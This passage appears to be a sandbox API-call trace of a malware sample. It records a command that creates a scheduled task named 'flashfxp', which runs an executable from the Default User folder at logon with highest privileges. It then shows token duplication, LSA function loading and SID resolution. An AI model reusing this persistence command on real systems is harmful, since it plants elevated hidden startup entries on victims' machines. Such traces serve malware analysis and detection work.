hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"flashfxp\" /sc ONLOGON /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xa40, dwThreadId=0xa44)) returned 1 [0163.705] CloseHandle (hObject=0x300) returned 1 [0163.705] CloseHandle (hObject=0x2fc) returned 1 [0163.705] free (_Block=0x2af1a0) [0163.705] DestroyEnvironmentBlock () returned 0x1 [0163.705] malloc (_Size=0x48) returned 0x2ad6d0 [0163.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2db86f20, dwHighDateTime=0x1d8a92a)) [0163.705] SetEvent (hEvent=0x1f0) returned 1 [0163.706] CloseHandle (hObject=0x2ac) returned 1 [0163.706] CloseHandle (hObject=0x1ec) returned 1 [0163.732] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0163.732] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0163.733] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0164.235] SetLastError (dwErrCode=0x0) [0164.235] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0164.235] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0164.235] SetLastError (dwErrCode=0x0) [0164.235] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0164.235] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0164.235] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0164.236] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0164.236] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0164.236] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0164.237] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0164.238] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0164.238] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0164.238] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0164.239] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0164.239] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0164.239] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0164.241] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0164.241] GetCurrentThread () returned 0xfffffffffffffffe [0164.241] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d4) returned 1 [0164.241] malloc (_Size=0xd8) returned 0x2b35c0 [0164.241] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0164.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0164.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0164.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0164.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0164.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0164.242] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0164.243] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0164.243] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0164.243] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0164.243] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0164.243] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0164.243] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0164.244] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0164.244] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0164.244] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0164.244] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0164.244] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0164.244] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0164.245] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0164.245] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0164.245] malloc (_Size=0x18) returned 0x2af240 [0164.245] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0164.245] malloc (_Size=0x48) returned 0x2ad6d0 [0164.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2e0bbf40, dwHighDateTime=0x1d8a92a)) [0164.245] SetEvent (hEvent=0x1f0) returned 1 [0164.247] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0164.247] GetLastError () returned 0x7a [0164.247] malloc (_Size=0x2c) returned 0x2b8b10 [0164.247] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0164.247] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0164.248] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0164.248] malloc (_Size=0x1c) returned 0x2b8650 [0164.248] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0164.248] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0164.248] malloc (_Size=0x18) returned 0x2af240 [0164.248] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0164.248] malloc (_Size=0x18) returned 0x2af1a0 [0164.248] malloc (_Size=0x18) returned 0x2af180 [0164.248] SysStringLen (param_1="S-1-") returned 0x4 [0164.248] SysStringLen (param_1="5") returned 0x1 [0164.248] memcpy (in: _Dst=0x142578, _Src=0x142458, _Size=0xa | out: _Dst=0x142578) returned 0x142578 [0164.248] memcpy (in: _Dst=0x142580, _Src=0x142518, _Size=0x4 | out: _Dst=0x142580) returned 0x142580 [0164.248] free (_Block=0x2af240) [0164.248] free (_Block=0x2af1a0) [0164.248] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0164.248] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0164.248] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0164.248] malloc (_Size=0x18) returned 0x2af1a0 [0164.248] malloc (_Size=0x18) returned 0x2af240 [0164.248] SysStringLen (param_1="S-1-5") returned 0x5 [0164.249] SysStringLen (param_1="-") returned 0x1 [0164.249] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xc | out: _Dst=0x142518) returned 0x142518 [0164.249] memcpy (in: _Dst=0x142522, _Src=0x142458, _Size=0x4 | out: _Dst=0x142522) returned 0x142522 [0164.249] free (_Block=0x2af180) [0164.249] free (_Block=0x2af1a0) [0164.249] malloc (_Size=0x18) returned 0x2af1a0 [0164.249] malloc (_Size=0x18) returned 0x2af180 [0164.249] SysStringLen (param_1="S-1-5-") returned 0x6 [0164.249] SysStringLen (param_1="21") returned 0x2 [0164.249] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xe | out: _Dst=0x142458) returned 0x142458 [0164.249] memcpy (in: _Dst=0x142464, _Src=0x142578, _Size=0x6 | out: _Dst=0x142464) returned 0x142464 [0164.249] free (_Block=0x2af240) [0164.249] free (_Block=0x2af1a0) [0164.249] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0164.249] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0164.249] malloc (_Size=0x18) returned 0x2af1a0 [0164.249] malloc (_Size=0x18) returned 0x2af240 [0164.249] SysStringLen (param_1="S-1-5-21") returned 0x8 [0164.249] SysStringLen (param_1="-") returned 0x1 [0164.249] memcpy (in: _Dst=0x142578, _Src=0x142458, _Size=0x12 | out: _Dst=0x142578) returned 0x142578 [0164.249] memcpy (in: _Dst=0x142588, _Src=0x142518, _Size=0x4 | out: _Dst=0x142588) returned 0x142588 [0164.250] free (_Block=0x2af180) [0164.250] free (_Block=0x2af1a0) [0164.250] malloc (_Size=0x18) returned 0x2af1a0 [0164.250] malloc (_Size=0x18) returned 0x2af180 [0164.250] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0164.250] SysStringLen (param_1="4219442223") returned 0xa [0164.250] memcpy (in: _Dst=0x118038, _Src=0x142578, _Size=0x14 | out: _Dst=0x118038) returned 0x118038 [0164.250] memcpy (in: _Dst=0x11804a, _Src=0x142458, _Size=0x16 | out: _Dst=0x11804a) returned 0x11804a [0164.250] free (_Block=0x2af240) [0164.250] free (_Block=0x2af1a0) [0164.250] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0164.250] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0164.250] malloc (_Size=0x18) returned 0x2af1a0 [0164.250] malloc (_Size=0x18) returned 0x2af240 [0164.250] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0164.250] SysStringLen (param_1="-") returned 0x1 [0164.250] memcpy (in: _Dst=0x1182b8, _Src=0x118038, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0164.250] memcpy (in: _Dst=0x1182de, _Src=0x142578, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0164.250] free (_Block=0x2af180) [0164.251] free (_Block=0x2af1a0) [0164.251] malloc (_Size=0x18) returned 0x2af1a0 [0164.251] malloc (_Size=0x18) returned 0x2af180 [0164.251] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0164.251] SysStringLen (param_1="4223814209") returned 0xa [0164.251] memcpy (in: _Dst=0x107588, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0164.251] memcpy (in: _Dst=0x1075b0, _Src=0x142578, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0164.251] free (_Block=0x2af240) [0164.251] free (_Block=0x2af1a0) [0164.251] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0164.251] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0164.251] malloc (_Size=0x18) returned 0x2af1a0 [0164.251] malloc (_Size=0x18) returned 0x2af240 [0164.251] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0164.251] SysStringLen (param_1="-") returned 0x1 [0164.251] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0164.251] memcpy (in: _Dst=0x12dc84, _Src=0x142578, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0164.251] free (_Block=0x2af180) [0164.251] free (_Block=0x2af1a0) [0164.251] malloc (_Size=0x18) returned 0x2af1a0 [0164.252] malloc (_Size=0x18) returned 0x2af180 [0164.252] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0164.252] SysStringLen (param_1="3835049652") returned 0xa [0164.252] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0164.252] memcpy (in: _Dst=0x1075c6, _Src=0x142578, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0164.252] free (_Block=0x2af240) [0164.252] free (_Block=0x2af1a0) [0164.252] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0164.252] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0164.252] malloc (_Size=0x18) returned 0x2af1a0 [0164.252] malloc (_Size=0x18) returned 0x2af240 [0164.252] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0164.252] SysStringLen (param_1="-") returned 0x1 [0164.252] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0164.252] memcpy (in: _Dst=0x12dc9a, _Src=0x142578, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0164.252] free (_Block=0x2af180) [0164.252] free (_Block=0x2af1a0) [0164.252] malloc (_Size=0x18) returned 0x2af1a0 [0164.252] malloc (_Size=0x18) returned 0x2af180 [0164.252] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0164.252] SysStringLen (param_1="1000") returned 0x4 [0164.253] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0164.253] memcpy (in: _Dst=0x1075dc, _Src=0x142578, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0164.253] free (_Block=0x2af240) [0164.253] free (_Block=0x2af1a0) [0164.253] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0164.253] malloc (_Size=0x5e) returned 0x2b0ad0 [0164.253] free (_Block=0x2af180) [0164.253] malloc (_Size=0x18) returned 0x2af180 [0164.253] free (_Block=0x2b0ad0) [0164.253] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0164.254] GetLastError () returned 0x7a [0164.254] malloc (_Size=0x14) returned 0x2af1a0 [0164.254] malloc (_Size=0x16) returned 0x2af240 [0164.254] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca84, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0164.255] malloc (_Size=0x18) returned 0x2af280 [0164.255] malloc (_Size=0x18) returned 0x2af260 [0164.255] free (_Block=0x2af1a0) [0164.255] free (_Block=0x2af240) [0164.256] free (_Block=0x2b8650) [0164.256] free (_Block=0x2af260) [0164.256] free (_Block=0x2af280) [0164.256] free (_Block=0x2af180) [0164.256] free (_Block=0x2b8b10) [0164.256] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0164.256] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0164.257] GetLastError () returned 0x7a [0164.257] malloc (_Size=0x2c) returned 0x2b8b50 [0164.257] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0164.257] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0164.257] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0164.257] malloc (_Size=0x1c) returned 0x2b8650 [0164.257] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0164.257] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0164.257] malloc (_Size=0x18) returned 0x2af180 [0164.257] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0164.257] malloc (_Size=0x18) returned 0x2af280 [0164.257] malloc (_Size=0x18) returned 0x2af260 [0164.257] SysStringLen (param_1="S-1-") returned 0x4 [0164.257] SysStringLen (param_1="5") returned 0x1 [0164.257] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0xa | out: _Dst=0x142458) returned 0x142458 [0164.257] memcpy (in: _Dst=0x142460, _Src=0x142578, _Size=0x4 | out: _Dst=0x142460) returned 0x142460 [0164.257] free (_Block=0x2af180) [0164.257] free (_Block=0x2af280) [0164.257] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0164.257] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0164.258] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0164.258] malloc (_Size=0x18) returned 0x2af280 [0164.258] malloc (_Size=0x18) returned 0x2af180 [0164.258] SysStringLen (param_1="S-1-5") returned 0x5 [0164.258] SysStringLen (param_1="-") returned 0x1 [0164.258] memcpy (in: _Dst=0x142578, _Src=0x142458, _Size=0xc | out: _Dst=0x142578) returned 0x142578 [0164.258] memcpy (in: _Dst=0x142582, _Src=0x142518, _Size=0x4 | out: _Dst=0x142582) returned 0x142582 [0164.258] free (_Block=0x2af260) [0164.258] free (_Block=0x2af280) [0164.258] malloc (_Size=0x18) returned 0x2af280 [0164.258] malloc (_Size=0x18) returned 0x2af260 [0164.258] SysStringLen (param_1="S-1-5-") returned 0x6 [0164.258] SysStringLen (param_1="21") returned 0x2 [0164.258] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xe | out: _Dst=0x142518) returned 0x142518 [0164.258] memcpy (in: _Dst=0x142524, _Src=0x142458, _Size=0x6 | out: _Dst=0x142524) returned 0x142524 [0164.258] free (_Block=0x2af180) [0164.259] free (_Block=0x2af280) [0164.259] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0164.259] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0164.259] malloc (_Size=0x18) returned 0x2af280 [0164.259] malloc (_Size=0x18) returned 0x2af180 [0164.259] SysStringLen (param_1="S-1-5-21") returned 0x8 [0164.259] SysStringLen (param_1="-") returned 0x1 [0164.259] memcpy (in: _Dst=0x142458, _Src=0x142518, _Size=0x12 | out: _Dst=0x142458) returned 0x142458 [0164.259] memcpy (in: _Dst=0x142468, _Src=0x142578, _Size=0x4 | out: _Dst=0x142468) returned 0x142468 [0164.259] free (_Block=0x2af260) [0164.259] free (_Block=0x2af280) [0164.259] malloc (_Size=0x18) returned 0x2af280 [0164.259] malloc (_Size=0x18) returned 0x2af260 [0164.259] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0164.259] SysStringLen (param_1="4219442223") returned 0xa [0164.259] memcpy (in: _Dst=0x118038, _Src=0x142458, _Size=0x14 | out: _Dst=0x118038) returned 0x118038 [0164.259] memcpy (in: _Dst=0x11804a, _Src=0x142518, _Size=0x16 | out: _Dst=0x11804a) returned 0x11804a [0164.259] free (_Block=0x2af180) [0164.260] free (_Block=0x2af280) [0164.260] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0164.260] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0164.260] malloc (_Size=0x18) returned 0x2af280 [0164.260] malloc (_Size=0x18) returned 0x2af180 [0164.260] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0164.260] SysStringLen (param_1="-") returned 0x1 [0164.260] memcpy (in: _Dst=0x1182b8, _Src=0x118038, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0164.260] memcpy (in: _Dst=0x1182de, _Src=0x142458, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0164.260] free (_Block=0x2af260) [0164.260] free (_Block=0x2af280) [0164.260] malloc (_Size=0x18) returned 0x2af280 [0164.260] malloc (_Size=0x18) returned 0x2af260 [0164.260] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0164.260] SysStringLen (param_1="4223814209") returned 0xa [0164.260] memcpy (in: _Dst=0x12dc48, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0164.260] memcpy (in: _Dst=0x12dc70, _Src=0x142458, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0164.260] free (_Block=0x2af180) [0164.260] free (_Block=0x2af280) [0164.261] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0164.261] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0164.261] malloc (_Size=0x18) returned 0x2af280 [0164.261] malloc (_Size=0x18) returned 